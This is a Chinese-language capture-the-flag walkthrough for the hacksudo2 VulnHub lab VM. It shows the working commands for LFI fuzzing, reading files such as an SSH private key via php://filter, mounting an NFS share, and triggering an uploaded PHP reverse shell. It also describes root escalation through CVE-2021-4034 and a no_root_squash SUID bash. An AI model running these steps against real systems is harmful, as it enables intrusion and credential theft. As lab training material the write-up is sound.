一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:hacksudo2 (HackDudo)(10.0.2.44)
目标:获取靶机root权限和flag
靶机下载地址:https://download.vulnhub.com/hacksudo/hackdudo2.rar
二、信息收集
使用nmap主机发现靶机ip:10.0.2.44
使用nmap端口扫描发现,靶机开放端口:80、111、1337、2049、37205、45247、56943、60739
80端口:打开网站未发现可利用的功能点,查看源码也没有发现隐藏信息
直接使用dirsearch工具进行目录爆破
将爆破得到的目录和文件一个个访问,发现file.php、info.php
两个文件比较可疑
根据网页上的提示,使用wfuzz工具探测,看看file.php
文件是否存在文件包含LFI
wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt http://10.0.2.44/file.php?FUZZ=/etc/passwd
发现一个参数file,浏览器访问,成功回显passwd文件内容
2049端口:根据nmap扫描分析2049端口开放了NFS服务,尝试查看靶机利用NFS共享的全部文件夹,发现开放/mnt/nfs
文件夹
showmount -e 10.0.2.44
在攻击机上面创建一个文件夹/tmp/,将靶机上的共享文件挂载到该文件上面。
mount -t nfs 10.0.2.44:/mnt/nfs tmp -o nolock
在挂载成功之后我们可以通过df -h
命令查看所有的本地磁盘的信息
查看共享文件夹里面的文件,发现flag1.txt
三、漏洞利用
利用文件包含漏洞读取靶机上的文件,看看有没有可利用的信息。直接读取文件,但大多数时候很多信息无法直接显示在浏览器页面上,可以将文件内容进行base64编码后显示在浏览器上,再自行解码。
http://10.0.2.44/file.php?=php://filter/convert.base64-encode/resource=file.php
尝试读取:
/home/hacksudo/.bash_history
/home/hacksudo/.bash_logout
/home/hacksudo/.bashrc
/home/hacksudo/.ssh/id_rsa
读取均未发现什么可利用的信息
想到2049端口开放了NFS服务,我们可以直接将反弹shell脚本上传到共享文件夹,然后使用文件包含漏洞包含上传的shell,反弹shell
访问上传的webshell,反弹shell
http://10.0.2.44/file.php?file=/mnt/nfs/php-reverse-shell.php
获取交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
四、提权
方法一:
查看靶机是否存在特权文件,或可利用的具有root权限的文件,发现/usr/libexec/polkit-agent-helper-1
文件
find / -perm -u=s -type f 2>/dev/null
该版本的polkit存在提权漏洞CVE-2021-4034,因为靶机没有gcc环境,可以上传已经编译好的exp(因为靶机和本机运行库的版本存在很大差异,如果直接在本机编译,在靶机运行会报错,所以我是在另一个已经攻克的靶机里面进行编译的)
执行exp,获得root权限
方法二:
当服务器中存在NFS共享,且开启了no_root_squash选项时,这时如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。
使用攻击者本地root权限创建Suid shell。
cp /bin/bash shell
chmod u+s shell
回到要提权的服务器上,使用普通用户使用shell -p
来获取root权限。
发现报错,可能是靶机的bash环境和本地的bash环境版本问题导致的
我们找到一个合适版本的bash,再次尝试,提权成功
获取flag